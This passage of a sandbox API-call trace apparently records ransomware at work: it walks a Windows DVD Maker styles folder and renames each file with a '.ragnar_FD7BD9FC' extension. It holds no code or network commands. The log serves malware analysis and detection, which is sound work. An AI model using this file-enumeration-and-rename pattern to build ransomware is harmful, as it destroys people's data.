Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ragnar_FD7BD9FC" [0079.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.378] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.378] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.378] lstrcpyW (in: lpString1=0x1eb620, lpString2="4to3Squareframe_SelectionSubpicture.png" | out: lpString1="4to3Squareframe_SelectionSubpicture.png") returned="4to3Squareframe_SelectionSubpicture.png" [0079.378] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned=".png" [0079.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.378] CloseHandle (hObject=0xffffffff) returned 0 [0079.378] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" [0079.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.378] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0079.378] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.378] lstrcpyW (in: lpString1=0x1eb620, lpString2="4to3Squareframe_VideoInset.png" | out: lpString1="4to3Squareframe_VideoInset.png") returned="4to3Squareframe_VideoInset.png" [0079.378] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned=".png" [0079.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.379] CloseHandle (hObject=0xffffffff) returned 0 [0079.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" [0079.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ragnar_FD7BD9FC" [0079.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x812bd9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0079.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.379] lstrcpyW (in: lpString1=0x1eb620, lpString2="BlackRectangle.bmp" | out: lpString1="BlackRectangle.bmp") returned="BlackRectangle.bmp" [0079.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp") returned=".bmp" [0079.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.380] CloseHandle (hObject=0xffffffff) returned 0 [0079.380] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" [0079.380] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ragnar_FD7BD9FC" [0079.380] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0079.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.380] lstrcpyW (in: lpString1=0x1eb620, lpString2="circleround_glass.png" | out: lpString1="circleround_glass.png") returned="circleround_glass.png" [0079.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png") returned=".png" [0079.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.381] CloseHandle (hObject=0xffffffff) returned 0 [0079.381] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" [0079.381] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ragnar_FD7BD9FC" [0079.381] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.381] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0079.381] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.381] lstrcpyW (in: lpString1=0x1eb620, lpString2="circleround_selectionsubpicture.png" | out: lpString1="circleround_selectionsubpicture.png") returned="circleround_selectionsubpicture.png" [0079.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png") returned=".png" [0079.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.382] CloseHandle (hObject=0xffffffff) returned 0 [0079.382] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" [0079.382] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ragnar_FD7BD9FC" [0079.382] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.383] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0079.383] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.383] lstrcpyW (in: lpString1=0x1eb620, lpString2="circleround_videoinset.png" | out: lpString1="circleround_videoinset.png") returned="circleround_videoinset.png" [0079.383] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png") returned=".png" [0079.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.383] CloseHandle (hObject=0xffffffff) returned 0 [0079.383] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" [0079.383] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ragnar_FD7BD9FC" [0079.383] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.383] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.383] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.383] lstrcpyW (in: lpString1=0x1eb620, lpString2="Circle_ButtonGraphic.png" | out: lpString1="Circle_ButtonGraphic.png") returned="Circle_ButtonGraphic.png" [0079.383] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png") returned=".png" [0079.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.384] CloseHandle (hObject=0xffffffff) returned 0 [0079.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" [0079.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.384] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.384] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.384] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.384] lstrcpyW (in: lpString1=0x1eb620, lpString2="circle_glass_Thumbnail.bmp" | out: lpString1="circle_glass_Thumbnail.bmp") returned="circle_glass_Thumbnail.bmp" [0079.384] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp") returned=".bmp" [0079.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.384] CloseHandle (hObject=0xffffffff) returned 0 [0079.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" [0079.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.384] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.384] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0079.384] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.384] lstrcpyW (in: lpString1=0x1eb620, lpString2="Circle_SelectionSubpictureA.png" | out: lpString1="Circle_SelectionSubpictureA.png") returned="Circle_SelectionSubpictureA.png" [0079.385] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png") returned=".png" [0079.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, 